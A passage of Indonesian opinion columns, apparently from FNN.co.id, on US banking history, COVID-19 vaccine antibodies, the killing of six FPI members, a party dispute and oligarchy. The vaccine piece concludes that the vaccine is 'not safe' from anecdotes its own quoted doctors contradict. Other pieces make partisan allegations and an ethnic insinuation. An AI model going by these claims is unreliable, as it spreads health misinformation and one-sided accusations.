tak menyerah. Jackson mengidentikan Bank sebagai pencipta kepanikan keuangan -krisis keuangan. Paper money bankin diidentifikasi Jackson sebagai creat a great financial oligarchy of bankers. Jackson akhirnya tempatkan bank dibawah Kementerian Keuangan, dan diatur dalam Conage Act 1834. Ini luar biasa. Mengapa? Thomkas Jefferson, James Madison dan Edmund Randolp, penantang terkuat Hamilton pada perdebatan pembentukan Firts American Bank tahun 1790 gagal dalam urusan ini. Membaikah keadaan keuangan setelah itu? Tidak. Thomas Ewing menggambarkan keadaan Amerika hampir bangkrut. Ini harus dibereskan oleh Presiden William Henry Horison. Sayang Horison terlalu cepat meninggal dunia. Wakilnya, John Tyuler, naik menggantikannya. bersambung. Penulis adalah Pengajar HTN Univesitas Khairun Ternate.

Dokter Tony Loman, “Beberapa Teman Saya Tertular Covid-19 Setelah Vaksinasi”

by Mochamad Toha Surabaya, FNN - Apakah setelah vaksinasi Covid-19 kita langsung kebal terhadap penularannya ? Dokter Tony Loman, SpPK menjelaskan dalam akun Facebook-nya Lab.dr.Tony. Menurut dr. Tony Loman, SpPK, setelah divaksin, bukan langsung kebal. Butuh waktu 2-8 minggu setelah suntikan kedua untuk timbulnya antibodi yang protektif. Kebetulan ia bekerja di laboratorium, jadi bisa memeriksa antibodi spesifik yang timbul. “Hasil keluarga saya adalah sbb: Antibodi Kuantitatif (Positif bila > 0,8 u/ml); Saya = 0,4 u/ml (negatif), (H1 + 18); Anak ke-2 = 26,8 u/ml (H2 + 8); Menantu = 2.80 u/ml (H2 + 5); Anak ke-1 = 59,04 u/ml (H2 + 16),” tulisnya. H1 = suntikan pertama; H2 = suntikan kedua (Umum=Berselang 2 minggu dari H1), (Lansia = Berselang 4 minggu dari H1). Vaksinasi pertama tersebut lebih bertujuan ke pembentukan sel memori limfosit B (yang akan memproduksi antibodi), sehingga pada saat ini belum terjadi pembentukan antibodi/masih rendah sekali, baru pengenalan terhadap protein Virus. Vaksinasi ke-2 bertujuan merangsang sel memori limfosit B yang sudah mengenal protein Virus Covid-19 untuk membentuk antibodi terhadap Virus Covid. Hal ini jelas terlihat pd H1 + 18 belum terjadi pembentukan antibodi (0.4 u/mL). Semua pembentukan antibodi baru terjadi setelah H2. Semakin lama hari setelah H2, kadar antibodi akan semakin tinggi. Hasil di atas menunjukkan: H2+16 (58.04 u/mL) > H2 + 8 (26.8 u/mL) > H2 + 5 (2.80 u/mL) Jadi semua antibodi yang terbentuk di atas masih sesuai teori. Dianjurkan tes antibodi pada: Hari ke 28-60 pasca H2 pada lansia usia > 60 th; Hari ke 21-60 pasca H2 pada usia < 60 th. Jadi, bisa dipahami bahwa saat ini saya belum kebal terhadap virus Covid-19. Itu alasannya pasca vaksinasi harus tetap mempertahankan 5M. Lima M harus tetap dipertahankan hingga pandemi Covid-19 selesai, karena hingga saat ini belum juga diketahui berapa lama efektivitas dari vaksinasi Covid-19, perkiraan sementara ini adalah 4-8 bulan, masih menunggu hasil penelitian lebih lanjut. Apakah suatu saat kita memerlukan vaksinasi yang ke-3? Mungkin, tunggu perkembangan penelitian lebih lanjut. “Bukti di lapangan ada beberapa teman saya yang tertular Covid-19 setelah vaksinasi H2. Jangan cepat merasa aman segera setelah vaksinasi tetap waspada,” ujar Dokter Tony. Untuk mengetahui apakah kita sudah kebal atau belum, harus periksa di laboratorium parameter: Anti Sarscov2 - kuantitatif. Berapa batas kadar protektif antibodi tersebut? Menurutnya, hingga saat ini masih dalam penelitian, semoga cepat selesai, dan kita bisa mendapat nilai protektif tersebut. Fakta Medis Bukti di lapangan yang disampaikan Dokter Tony memang benar adanya. Ini yang terjadi pada Ketua DPD PKS Kabupaten Bekasi, Imam Hambali yang meninggal dunia diduga terpapar Covid-19. Padahal, sebelum ia dinyatakan meninggal dunia, Imam sempat mengikuti vaksinasi massal yang digelar Satgas Covid-19 di Stadion Wibawa Mukti, Cikarang Timur, Kabupaten Bekasi. Wakil Ketua DPRD Kabupaten Bekasi, Muhammad Nuh, Kamis (11/3/2021), mengatakan, ia juga baru tahu berita dari tetangganya, “saya kroscek dengan keluarganya betul wafat, tadi jam 3.30 pagi”. “Informasi ketika beliau minta instirahat karena lelah waktu itu habis rapat karena tipes, yang sampai ke telinga kita karena tipes,” kata Nuh, seperti dilansir SindoNews, Kamis (11 Maret 2021 - 09:12 WIB). Nuh kaget dengan informasi, Imam meninggal karena Covid-19. Padahal, ia telah divaksin dosis pertama. ”Padahal sudah divaksin, kita juga enggak mengerti ya kok bisa ya. Katanya kalau sudah divaksin itu daya tahan tubuh 50% sudah bisa menangkal,” ungkapnya. Sebelumnya, kasus kematian pasca divaksin juga menimpa Taslim Azis, mantan atlit pencak silat asal Maluku. Taslim meninggal dunia Sabtu, 28 Februari 202, sekitar pukul 23.00 WIB di Padepokan Pencak Silat TMII, Jakarta. Informasi tersebut disampaikan oleh Wakil Ketua Umum Partai Gerindra Fadli Zon melalui akun Twitter resminya. Taslim juga salah seorang politisi dari Partai Gerindra dan sekaligus mantan anggota DPR Fraksi Gerindra. Ia adalah fungsionaris DPP Gerindra serta PB Ikatan Pencak Silat Seluruh Indonesia (IPSI). Dalam dunia pencak silat, namanya tidak asing lagi. Taslim tercatat pernah 2 kali juara dalam Kejuaraan Dunia serta 5 kali merebut medali emas SEA Games. Setelah pensiun sebagai atlet, Taslim beralih profesi menjadi pelatih pencak silat nasional dan juga beberapa kali menjadi manajer tim Indonesia di SEA Games maupun kejuaraan dunia. Ia meninggal dunia sehari pasca mengikuti vaksinasi Covid-19. “Iya bener, hari Jum’at bapak divaksin,” kata Haikal Taslim Azis, putra Taslim Azis kepada FNN.co.id. Politisi Gerindra Sufmi Dasco yang sempat melayat bersama Fadli Zon tidak mengetahui penyebab Taslim meninggal. “Tapi waktu saya melayat, katanya karena serangan jantung,” kata Dasco kepada fnn.co.id.. Sebelumnya, “vonis jantung“ juga pernaqh diarahkan pada Dokter JF yang meninggal dunia pasca divaksin Covid-19 pada Kamis (14/1/2021). Korban meninggal di dalam mobil. Ia tak punya comorbid dan tidak memiliki riwayat dirawat di rumah sakit. Dokter forensik RS M Hasan Bhayangkara Palembang Indra Nasution mengatakan, Dokter JF meninggal pada Jumat (22/1/2021) pagi. Hal tersebut diketahui dari otot jenazah yang belum kaku. Tim forensik menemukan bintik pendarahan yang disebabkan kekurangan oksigen di daerah mata, wajah, tangan, dan dada. Temuan itu menyimpulkan dugaan penyebab kematiannya. “Diduga meninggal karena sakit jantung,” ungkap Indra. “Benar berdasarkan laporan yang bersangkutan baru saja divaksin, namun vaksin tidak ada hubungan dengan penyebab kematian. Jika akibat vaksin, pasti reaksinya lebih cepat dan matinya juga (akan) lebih cepat karena disuntikkan,” lanjutnya. Fakta medis pasca divaksin ada yang terinfeksi Covid-19 menjadi bukti, vaksin yang sudah dilabeli “aman dan halal” ternyata “tidak aman”. Ditambah lagi, ada beberapa kasus nakes di Indonesia yang juga mengalami hal serupa. “Bukti di lapangan ada beberapa teman saya yang tertular Covid-19 setelah vaksinasi H2. Jangan cepat merasa aman segera setelah vaksinasi tetap waspada,” ujar Dokter Tony. Penulis adalah Wartawan Senior FNN.co.id.

Pembunuhan Enam FPI Laskar Pelanggaran HAM Berat

by M. Rizal Fadillah Bandung FNN - Ocehan Mahfud MD yang meminta bukti terjadinya pelanggaran Hak Asasi Manusia (HAM) berat tentu tidak proporsional. Sejak awal yang dituntut oleh publik adalah pembentukan Tim Pencari Fakta (TPF) Independen. Bukan hanya diserahkan kepada Komisi Nasional (Komnas) HAM. Usul ini dimaksudkan agar temuan lebih obyektif, dan mendalam. Hasil temua dari TPF Independen diharapkan tidak terpengaruh oleh kekuasaan, baik itu Pemerintah maupun para tertuduh, yakni aparat Kepolisian. Kalau hanya mengandalkan penyelidikan dari Komnas HAM, maka kemungkinan pengaruh-pangruh berbagai pihak bisa saja bermunculan. Pengaruh itu tidak tampak ke permukaan. Namun bisa dirasakan oleh masayarakat. Menteri Kordinator Bidang Politik Hukum dan Keamanan (Polhukam) Mahfud MD hanya menjadi corong dari semangat "negara tidak boleh kalah" dan "aparat juga yang tak boleh kalah". Ini persoalan bukan persoalan kalah menang, tetapi benar atau salah. Karenanya perlu pemeriksaan dan pengusutan kasus yang secara transparan dan obyektif. TPF Independen mampu untuk ini. Komnas HAM faktanya bekerja tidak transparan. Malah ada kecendrungan "takut-takut" membongkar fakta yang sebenarnya. Misalnya, nama-nama pelaku yang diduga sebagai pembunuh di lapangan saja tak berani untuk dipublikasikan. Dari sini, patut diduga kalau Komnas HAM mengalami tekanan yang luar ketika melakukan penyelidikan peristiwa yang terjadi di kilometer 50 tol Jakarta-Cikampek (Japek) itu. Kesimpulan penyelidikan Komnas HAM hanya menyatakan bahwa terjadi pelanggaran HAM biasa. Meski dianggap lumayan, daripada tidak tidak sama-sekali. Tetapi perasaan keadilan masyarakat masih sangat mempertanyakan kesimpulan tersebut. Bukan semata keyakinan, tetapi indikasi yang terbaca oleh publik adalah terjadinya pelanggaran HAM berat yang melibatkan banyak fihak, termasuk petinggi dari aparat penegak hukum dan pemerintahan. Pelanggaran HAM berat berdasarkan UU No 26 Tahun 2000 tentang Pengadilan HAM memiliki syarat pokok bahwa penyiksaan atau pembunuhan itu harus menjadi bagian dari "serangan yang meluas atau sistematik". Pasal 9 UU tersebut menyatakan, "kejahatan terhadap kemanusiaan sebagaimana dimaksud Pasal 7 huruf b adalah salah satu perbuatan yang dilakukan sebagai bagian dari serangan yang meluas atau sistematik yang diketahuinya bahwa serangan tersebut ditujukan secara langsung terhadap penduduk sipil, berupa : a. pembunuhan......f. penyiksaan..". Atas dasar hal tersebut, maka pembunuhan dan penyiksaan enam anggota laskar FPI di kilometer 50 tol Japek memang merupakan pelanggaran HAM berat. Ada beberapa alasan yang menjadi dasar bahwa telah terjadi pelanggaran HAM berat. Pertama, pembunuhan dan penyiksaan adalah bagian dari serangan sistematik yang terjadi sejak pembuntutan dan penguntitan terhadap Habib Rizieq Shuhab (HRS) pada tanggal 5 Desember 2020 di Mega Mendung Bogor. Diawali dengan terdeteksi pengawasan menggunakan drone oleh agen intelijen yang berhasil ditangkap oleh laskar laskar FPI. Pembuntutan dan penguntitan yang masif, dan berlanjut terus-menerus terhadap HRS, hingga operasi pengejaran pada tanggal 6 Desember 2020, berujung pembunuhan dan penyiksaan. Ini bukan terjadi dengan tiba-tiba. Namun dengan perencanaan dan penugasan berdasarkan surat tugas dari atasan pelaku di Direktorat Kriminal Umum Polda Metro Jaya. Kedua, pembunuhan ini bagian dari operasi pembunuhan politik. Diduga bukan semata kerja aparat Kepolisian sendirian. Namun melibatkan institusi negara yang lain. Dimulai dari penurunan spanduk dan baliho oleh sekitar 500 personil pasukan TNI atas perintah Pangdam Jaya Mayjen TNI Dudung Abdurachman tanggal 20 November 2020. Dilanjutkan dengan teror konvoi kendaraan tempur TNI ke markas FPI Petamburan, Jakarta Pusat oleh pasukan Koopssus TNI. Pasukan elit gabungan tiga matra angkatan di TNI, yaitu Angkatan Darat, Angkatan Laut, dan Angkatan Udara. Walaupun belakangan dibatah bahwa pasaukan Koopssus TNI hanya lewat di kawasan Petamburan Ketiga, pembunuhan ini bagian dari serangan meluas atau sistematik berhubungan dengan kepulangan HRS ke tanah air. Bahkan jauh sebelum kepulangannya, yakni gangguan terjadi selama HRS di Saudi Arabia. Kemudian mencari kesalahan hukum atas acara pernikahan di Petamburan dan pengajian Maulid Nabi di Mega Mendung. Semua adalah bagian dari operasi pemerintah untuk menekan dan melumpuhkan lawan politik. Oleh karena itu pembunuhan enam anggota laskar FPI bukankah pembunuhan biasa. Pengejaran masif di jalur Karawang Timur, Karawang Barat, hingga berakhir di kilometer 50 tol Japek adalah penuntasan operasi target atau target antara. Adanya penyiksaan menunjukkan terjadi perbuatan kejahatan pasca kilometer 50. Penyiksaan berat inipun menjadi indikasi terjadi pelanggaran HAM berat. Ada pesan dari teroris yang ingin disampaikan. Maka tiada pilihan lain, agar kasus ini benar-benar bisa terbuka dan tuntas, menghukum semua pihak yang terlibat dengan cara Komnas HAM melakukan kerja ulang yang lebih serius. Kembali dibentuk TPF atau diproses para tersangka melalui Pengadilan HAM di bawah ketentuan UU No 26 tahun 2000 tentang Pengadilan HAM. Pembunuhan sadis enam anggota laskar FPI bukan pembunuhan ecek-ecek. Tetapi pembunuhan politik yang meluas atau sistematik. Penulis adalah Pemerhati Politik dan Kebangsaan.

“Tumbal Politik” Dibalik Kisruh Partai Demokrat

by Tarmidzi Yusuf Bandung FNN - Setelah melihat perkembangan beberapa hari terakhir, penulis cenderung menyebut kisruh Partai Demokrat (PD) sebagai kompetisi atau pertarungan sengit antara Soesilo Bambang Yudhoyono (SBY) dan lingkaran istana untuk berebut pengaruh kepada tuannya masing-masing. Lalu faksi Anas Urbaningrum yang dimainkan. Asumsi bahwa adanya kompetisi itu makin nyata terlihat. Kongres tidak berizin. Namun tidak juga dibubarkan oleh polisi. Katanya sudah dipulihkan keanggotannya di Kongres Luar Biasa (KLB), tetapi masih juga menggugat pemecatan ke pengadilan. Artinya mereka sendiri yang tidak yakin kalau KLB di Sibolangit Deli Serdang, Sumatera Utara itu sah. Karena tidak percaya dengan keabsaahan kongres, makanya mereka yang menjadi penyelenggara KLB perlu menggugat ke pengadilan. Belum lagi, banyaknya peserta KLB yang bukan pemilik suara, sesuai dengan ketentuan Anggaran Dasar dan Anggaran Rumah Tangga (AD/ART). Apalagi Ketua Umum yang ditunjuk oleh KLB, yaotu Moeldoko tidak memiliki Kartu Tanda Anggota (KTA) Partai Demokrat. Terlihat kalau Nazaruddin cs hanya dimanfaatkan. Akibatnya, masing-masing pihak yang berkompetisi berusaha mengambil keuntungan politik sesuai dengan kadar kepentingan mereka. Walaupun Moeldoko harus banyak menelan pil pahit untuk dibully. Sepekan ini Moledoko sumbunyi dari publik. Bahkan jadi tumbal politik. Dihujat sana-sini oleh publik. Tampaknya Moeldoko hanya menjalankan perintah. Ada lagi gank politik lain yang sangat berpengaruh di belakang Moeldoko. Skenario kompetisi dikeperkirakan semakin panas. Apalagi jika Kementrian Hukum dan Hak Asasi Manusia (Kemenkumham) menelikung di tengah jalan. Bila KLB Moeldoko disahkan, maka suhu politik memanas. Partai seteru SBY ikut mengompori dari luar arena. Endingnya adalah kompromi politik. Lingkaran istana mulai melirik SBY untuk join politik pada 2024 nanti. Rumor akhir tahun kemarin kemarin Ketua Umum Agus Harimurti Yudhoyono (AHY)santer diisukan masuk kabinet. Namun gagal karena tidak direstui salah seorang Ketua Umum partai. Bagi Presiden Jokowi, kisruh Partai Demokrat berhasil mengalihkan berbagai isu yang merugikan Pemerintahan Jokowi.Misalnya, cekaknya kantong penerimaan pemerintah, gonjang gajing ekonomi, kasus pembunuhan enam laskar anggota Front Pembela Islam (FPI), kerumunan Jokowi di Maumere, berbagai skandal mega korupsi dan suap pajak, yang katanya ada jejak mantan timses Jokowi. Yang perlu ditelusuri lebih lanjut adalah, saat kisruh Partai Demokrat lagi panas, ada kapal perang milik China komunis masuk perairan Indonesia. Test the water, pangkalan militer China komunis di Indonesia? Sepi pemberitaan. Dengan adanya kisruh Partai Demokrat, maka Presiden Jokowi juga bisa melihat peta koalisi pertai politik yang mendukungnya. Mana partai yang loyalis? Mana juga yang partai yang pragmatis, sehinga yang harus dilepas untuk agenda politik lingkaran istana di tahun 2024. Mana juga hanya numpang untuk bisa eksis sampai dengan Pilpres dan Pileg 2024 nanti. Sedangkan situasi ini bagi SBY, sudah meraih simpati publik. Lagunya seperti 2004 yang lalu. Senang untuk mendapat stigma sebagai orang yang didzalimi. Berharap ada efek elektoral. Bisas membuka jalan menuju kerjasama politik lingkaran istana dengan SBY untuk 2024 nanti. Sebab, Jokowi dan lingkaran terdekatnya di istana telah terkunci oleh PDIP untuk 2024. Terpaksa harus melirik partai lain. Terakhir, bakal terjadi kompromi dua kutub politik. Jokowi yang condong ke China komunis. Sedangkan SBY lebih condong ke Amerika Serikat. Ajang perang tersembunyi antara Amerika Serikat dan China komunis bakaln terjadi di 2024 nanti. Penulis adalah Pegiat Da’wah dan Sosial.

Masa Depan Bangsa Hancur di Tangan Oligarki

OLIGARKI (oligarchy) adalah struktur kekuasaan yang dipegang oleh segelintir orang. Mereka itu bisa orang terdidik, orang kaya, korporasi, tokoh politik, dan pemimpin militer. Oligarki yang berkuasa di sebuah negara bisa saja berbentuk koalisi dari berbagai latar belakang tersebut. Indonesia adalah contoh yang sempurna tentang kekuasaan oligarki. Yang berkuasa adalah kombinasi antara korporasi, politisi, dan penyandang pangkat bintang. Kini merekalah yang mengatur negara ini. Apakah ada masalah dengan kekuasaan oligarkis? Tergantung kualitas moral dan mental individu atau para indvidu yang memegang kekuasaan oligarki itu. Jika individu-individu tertempa di tengah kerakusan, ketamakan, keberingasan dan keegoisan, maka akan muncullah oligarki yang destruktif. Mereka akan berperilaku gegabah dan tak peduli dengan dampak buruk jangka panjang, terhadap semua aspek kehidupan. Bangsa dan negara menjadi berantakan di tangan mereka. Semua mereka bikin hancur, mulai dari perekonomi, lingkungan hidup, rajut sosial, tatanan politik pasti akan entang-perenang. Semua amburadul di tangan oligarki yang berideologi kerakusan. Sebaliknya, para individu pemegang kekuasaan oligarkis yang tumbuh dengan latarbelakang madani, rata-rata mereka akan menghasilkan suasana yang konstruktif. Kekuasaan oligarki akan memberikan dampak positif terhadap semua aspek kehidupan. Bagaimana dengan Indonesia? Apakah negara ini sedang dikuasai oleh oligarki? Apakah oligarkinya berpikiran dan berperilaku membangun atau menghancurkan? Jika dilihat dari situasi politik sebagai salah satu barometer penyelenggaraan kekuasaan, sudah sangat jelas oligarki-lah yang mengendalikan para penguasa. Baik itu penguasa eksekutif, legislatif, maupun yudikatif. Mereka juga bisa membeli simpul-simpul kekuasaan seperti partai-partai politik, ormas-ormas yang memiliki pengaruh besar maupun ormas-ormas yang hadir hanya sebagai benalu. Bambang Soesatyo, yang sekarang duduk sebagai ketua Majelis Permusyarawatan Rakyat (MPR) pernah mengatakan bahwa satu parpol bisa dibeli seharga Rp1.000.000.000.000 (satu triliun rupiah) saja. Sangat murah dan sangat hina. Artinya, untuk mendapatkan kekuasaan penuh, maka koalisi oligarki hanya perlu mengeluarkan duit sekitar Rp15 triliun. Dengan dana sebesar itu, Indonesia langsung dalam genggaman. Cash and carry. Itu dari sisis politik. Kalau dilihat dari aspek ekonomi, maka kekuasaan oligarki semakin jelas lagi. Sekitar 30-an grup bisnis saja di koalisi ologarki sudah sejak lama menguasai perekonoamian negara ini. Mereka juga menguasai puluhan juta hektar lahan perkebunan. Dari sini bisa disimpulkan bahwa oligarki Indonesia adalah segelintir orang yang berpikir, berencana, dan bertindak menghancurkan rakyat dan negara. Mereka adalah oligarki jahat. Bisakah Indonesia lepas dari genggaman oligarki? Bisa, kalau para pemimpin formal dan informal di negara ini memiliki visi tentang masa depan anak-cucu, masa depan bangsa, masa depan negara. Tidak akan bisa lepas, kalau mereka hanya berpikir pendek. Hanya berebut kenikmatan hari ini untuk diri sendiri saja. Celakanya, mereka yang bervisi pendek itulah yang menguasai Indonesia. Mereka puas dengan uang triliunan rupiah di rekening bank. Mereka terus saja berpura-pura memperjuangkan rakyat. Padahal, mereka menipu rakyat. Tidak hanya menipu, mereka sekaligus menyerahkan rakyatnya kepada oligarki rakus untuk diperbudak secara terus-menerus. Anda mungkin sering mendengar tentang Mahathir Mohamad dan para pemimpin puak Melayu lainnya yang berhasil menjadikan bumiputra (pribumi) lebih kuat dan lebih mampu bersaing. Mahathir mengasuh dan mengutamakan Melayu. Dia punya visi tentang rakyat pribumi Malaysia. Di Indonesia, istilah “pribumi” malah tidak boleh dipakai lagi. Padahal, “orang lain” sangat gencar membangun dan memperkuat kepribumian mereka sendiri. Kepribumian orang yang bukan pribumi, semakin solid. Semakin dalam tancapan kekuasaan ekonomi yang kemudian memperkuat penguasaan mereka di pentas politik. Mahathir tidak bisa dikuasai oleh para taipan. Dia paham betul tentang bahaya yang mengancam rakyat jika oligarki taipan diberi ruang. Di negara Pancasila ini, kita hanya bisa menyaksikan kehancuran bangsa di tangan oligarki. **

Audiensi Jokowi & TP3: Komitmen dan Prospek Penuntasan Kasus Pembunuhan 6 Laskar FPI

Oleh Marwan Batubara (Badan Pekerja TP3) Jakarta, FNN - Setelah berproses lebih sebulan, akhirnya audiensi Tim Pengawal Peristiwa Pembunuhan Enam Laskar FPI (TP3) dengan Presiden Jokowi terlaksana Selasa, 9 Maret 2021, di Istana Negara, Medan Merdeka Timur, Jakarta. Perwakilan TP3 adalah M. Amien Rais, Abdullah Hehamahua, Muhyidin Junaedi, Marwan Batubara, Firdaus Syam, Wirawan Adnan dan Ansufri Sambo. Sedangkan Presiden Jokowi didampingi Menko Polhukam Mahfud MD dan Mensekneg Pratikno. Proses dimulai dengan surat TP3 kepada Presiden Jokowi 4 Februari 2021 yang intinya berisi keinginan TP3 beraudiensi guna membuka jalan bagi penyampaian masukan dan temuan-temuan sejujur-jujurnya. TP3 menyatakan ingin ikut berperan mengawal penuntasan kasus pembunuhan enam laskar FPI, setelah melihat adanya beberapa versi temuan yang berkembang di masyarakat yang cenderung berat sebelah. TP3 menuntut agar kasus tersebut diselesaikan melalui proses hukum yang berjalan adil, objektif dan transparan. Dua minggu berselang, karena sangat confidence dengan sikap dan langkah-langkah yang akan diambil menangani kasus pembunuhan tersebut, Presiden tampaknya tidak merasa perlu menjawab langsung surat TP3. Presiden, melalui Mensekneg, memerintahkan Kemenko Polhukam membalas surat TP3. Kemenko Polhukam, melalui Sekretaris Kemenko, kemudian menjawab surat TP3 tertanggal 4 Februari 2021, melalui surat No.B-583/HK.00.00/2021 pada 25 Februari 2021. Surat Kemenko Polhukam esensinya berisi sikap pemerintah yang sangat yakin dengan laporan penyelidikan Komnas HAM yang dinyatakan sebagai lembaga “independent”. Pemerintah telah berkomitmen menindaklanjuti rekomendasi-rekomendasi Komnas HAM. Dinyatakan, jika TP3 memiliki temuan lain dapat disampaikan kepada Bareskrim Polri. Jika TP3 mempunyai laporan tertulis, dipersilakan dikirim ke Kantor Kemenko dalam seminggu setelah surat diterima. Kemenko bersedia mempertimbangkan diadakannya pertemuan, jika TP3 menganggap ada hal yang perlu didiskusikan. Memperhatikan sikap pemerintah dan jawaban Kemenko Polhukam, untuk sementara TP3 menyimpulkan Presiden Jokowi memang tidak berkenan beraudiensi. Padahal di sisi lain, TP3 sangat yakin laporan Komnas HAM yang menjadi rujukan pemerintah menuntaskan kasus, berisi rekomendasi yang bias dan tidak kredibel. Karena itu, pada 4 Maret 2021, TP3 kembali bersurat kepada Presiden, dengan tembusan kepada Menko Polhukam dan Mensekneg. Dalam hal ini, TP3 tidak merasa perlu kembali meminta kesempatan audiensi. Kali ini surat TP3 hanya berisi 2 paragraf. Pertama, berupa ucapan terima kasih atas jawaban Presiden, meskipun dilakukan melalui Kemenko. Kedua, berupa pernyataan bahwa Presiden dianggap unwilling and unable menuntaskan kasus pembunuhan ini. Isi lengkap paragraf kedua sbb: Dengan tanggapan tersebut kami meyakini bahwa Presiden Republik Indonesia telah menunjukkan sikap yang tidak berkenan dan tidak mampu (unwilling and unable) untuk menuntaskan kasus pembuhunan tersebut yang menurut pengamatan dan keyakinan kami merupakan Pelanggaran HAM Berat. Kami tetap akan melakukan perjuangan untuk memperoleh keadilan bagi para korban sesuai dengan Pancasila dan Undang-undang yang berlaku. Setelah 4 hari surat bertanggal 4 Maret 2021 terkirim, pada 8 Maret 2021 TP3 "dikejutkan" oleh undangan dari Sekretariat Kepresidenan. Maka terjadilah audiensi antara Presiden Jokowi dengan TP3 pada 9 Maret 2021. TP3 tidak ingin berspekulasi, mengapa akhirnya Presiden berkenan beraudiensi. Bagi TP3 yang lebih penting terbuka kesempatan, dan disaksikan pula oleh publik, untuk menyampaikan masukan dan fakta-fakta hukum bagi penuntasan kasus. Guna membuat pertemuan berjalan efektif, efisien, bebas basa-basi, dan pesan penting tersampaikan dengan seksama, TP3 memang telah mempersiapkan dua tulisan untuk dibacakan saat audiensi, yaitu kata pengantar dan pernyataan sikap. Karena itu, pertemuan hanya berlangsung sekitar 20 menit (ada yang menyebut 15 menit). Bagi TP3, yang penting masukan telah tersampaikan. Sehingga durasi pertemuan yang singkat bukan soal penting yang perlu dibahas. Kata pengantar dibacakan Amien Rais berisi peringatan Allah SWT dalam Al-Qur’an kepada ummat manusia perihal pembunuhan dan ancaman hukuman terhadap pelakunya sbb: Oleh karena itu Kami tetapkan (suatu hukum) bagi Bani Israil, bahwa barang siapa membunuh seseorang, bukan karena orang itu membunuh orang lain, atau bukan karena orang itu berbuat kerusakan di muka bumi, maka seakan-akan dia telah membunuh seluruh umat manusia. Dan barang siapa menyelamatkan kehidupan seseorang, maka seakan-akan dia telah menyelamatkan kehidupan seluruh umat manusia (Surah Al-Maidah, Ayat 32). Dan barang siapa membunuh seorang Beriman dengan sengaja, maka balasannya ialah neraka jahanam dia kekal di dalamnya. Allah murka kepadanya dan melaknatnya serta menyediakan azab yang besar baginya (Surah An-Nisa, Ayat 93). Amien Rais menyatakan atas firman Allah SWT dalam Al-Qur’an di ataslah, TP3 dibentuk dan berusaha sesuai kemampuan untuk ikut berperan menuntaskan kasus. Adapun esensi pernyataan sikap TP3 yang dibacakan Marwan Batubara adalah sbb: TP3 memiliki keyakinan bahwa 6 laskar yang merupakan anak-anak bangsa, telah dibunuh secara kejam dan melawan hukum (extra judicial killing) oleh aparat negara. POLRI memang telah menetapkan tiga tersangka dalam kasus ini. Selain itu, Komnas HAM juga menyatakan telah terjadi pelanggaran pidana biasa. Akan tetapi temuan TP3 menyatakan pembunuhan tersebut merupakan pelanggaran HAM berat. Oleh karena itu TP3 menganggap kasus ini masih jauh dari penyelesaian yang sesuai dengan azas keadilan dan kemanusiaan sesuai Pancasila dan UUD 1945. TP3 mendesak pemerintah dengan dukungan lembaga-lembaga terkait lainnya untuk memproses kasus pembunuhan ini sesuai dengan ketentuan UU No.26/2000 tentang Pengadilan HAM. TP3 juga mendesak agar kasus tersebut segera diselesaikan secara tuntas, transparan dan berkeadilan, agar tidak menjadi warisan buruk dari pemerintahan ini. Sebagai tanggapan, Presiden Jokowi menyatakan pemerintah telah meminta Komnas HAM melakukan penyelidikan tentang apa yang terjadi dan apa yang harus dilakukan pemerintah dalam peristiwa pembunuhan enam laskar FPI. Presiden menyatakan siap menerima masukan-masukan dari TP3. Presiden juga berjanji menjamin penuntasan kasus secara transparan dan berkeadilan. Menimpali tanggapan Presiden, Mahfud MD juga mempersilahkan TP3 memberi masukan berdasar bukti bukan berdasar keyakinan. TP3 bersyukur telah berkesempatan mengingatkan penguasa tentang adanya Allah SWT, firmanNya dan hidup setelah mati. Dengan itu, TP3 berharap pemerintah konsisten menjadikan Pancasila sebagai pedoman untuk mengatur kehidupan dan menyelenggarakan negara dalam berbagai bidang, termasuk penegakan hukum dalam kasus laskar FPI. Pesan TP3, azas Ketuhanan Yang Maha Esa dan Kemanusiaan Yang Adil Beradab dalam Pancasila, harus benar-benar diwujudkan dalam dunia nyata, bukan sekedar slogan kosong tanpa makna. Presiden Jokowi sudah sering mengucapkan “Saya Pancasila”. Mari kita menanti konsistensi ucapan dengan perbuatan, terutama langkah yang akan diambil pemerintah dalam proses hukum penuntasan kejahatan kemanusiaan tersebut. TP3 juga telah menyatakan perbedaan sikap dengan tegas dan terbuka atas temuan dan rekomendasi Komnas HAM, yang menyatakan pembunuhan tersebut sebagai pelanggaran HAM biasa. Bagi TP3, laporan Komnas HAM bersifat bias, tidak objektif, tidak konsisten antara fakta-fakta hukum dengan rekomendasi, sehingga tidak kredibel. TP3 menganggap pembunuhan sistemik, sadis, dan sarat penganiayaan tersebut adalah pelanggaran HAM berat yang harus diproses sesuai UU No.26/2000 tentang Pengadilan HAM. Tampaknya pemerintah cenderung memproses penuntasan kasus ini sesuai rekomendasi Komnas HAM. Bagaimana prospek penuntasan kasus?Apakah sikap pemerintah akan berubah setelah kelak menerima masukan dari TP3? TP3 dan rakyat tidak tahu. Hanya Tuhan Yang Maha Kuasa-lah yang tahu. Yang jelas, pemerintah telah berjanji secara terbuka akan menerima masukan TP3 dan akan menuntaskan kasus pembunuhan tersebut secara adil dan transparan sesuai peraturan berlaku. Dalam waktu dekat, TP3 akan datang kepada pemerintah dengan bukti-bukti dan analisis komprehensif, yang akan dituangkan dalam buku putih, bukan dengan “keyakinan” seperti yang disebutkan Mahfud MD. Semoga tulisan ini dapat memberi pemahaman bagi anak-anak bangsa, pencinta NKRI serta pendamba tegaknya hukum dan keadilan di bumi Pancasila. Semoga rakyat memahami apa yang terjadi dan bagaimana upaya yang dilakukan TP3 selama ini, sehingga ke depan berkenan untuk bergabung melakukan advokasi berkelanjutan secara bersama-sama. TP3 dan rakyat tentu ingin Presiden Jokowi konsistensi dengan komitmen yang dibuat, agar prospek penuntasan kasus menjadi lebih jelas ke arah tegaknya kemanusiaan dan keadilan.[]

Vaksin Covid Astra-Zeneca Bikin Polemik, Indonesia Tetap Pakai?

